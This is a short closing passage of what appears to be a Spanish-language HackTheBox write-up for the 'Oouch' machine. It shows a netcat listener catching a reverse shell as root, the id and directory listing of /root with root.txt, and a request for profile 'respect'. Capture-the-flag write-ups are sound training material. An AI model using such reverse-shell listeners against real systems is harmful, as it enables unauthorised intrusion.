$ nc -lvnp 4455 listening on [any] 4455 ... connect to [10.10.14.239] from (UNKNOWN) [10.10.10.177] 37474 bash: cannot set terminal process group (2772): Inappropriate ioctl for device bash: no job control in this shell root@oouch:/root# id id uid=0(root) gid=0(root) groups=0(root) root@oouch:/root# ls -l ls -l total 44 -rw-r--r-- 1 root root 334 Feb 11 18:34 credits.txt -rwxr-xr-x 1 root root 17904 Feb 11 18:34 dbus-server -rw-r--r-- 1 root root 4876 Feb 11 18:34 dbus-server.c -rw-r--r-- 1 root root 0 May 17 17:42 get_pwnd.log -rwxr-xr-x 1 root root 7121 Feb 23 15:08 get_pwnd.py -rw------- 1 root root 33 May 17 12:23 root.txt root@oouch:/root# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respecto en el siguiente enlace https://www.hackthebox.eu/home/users/profile/103792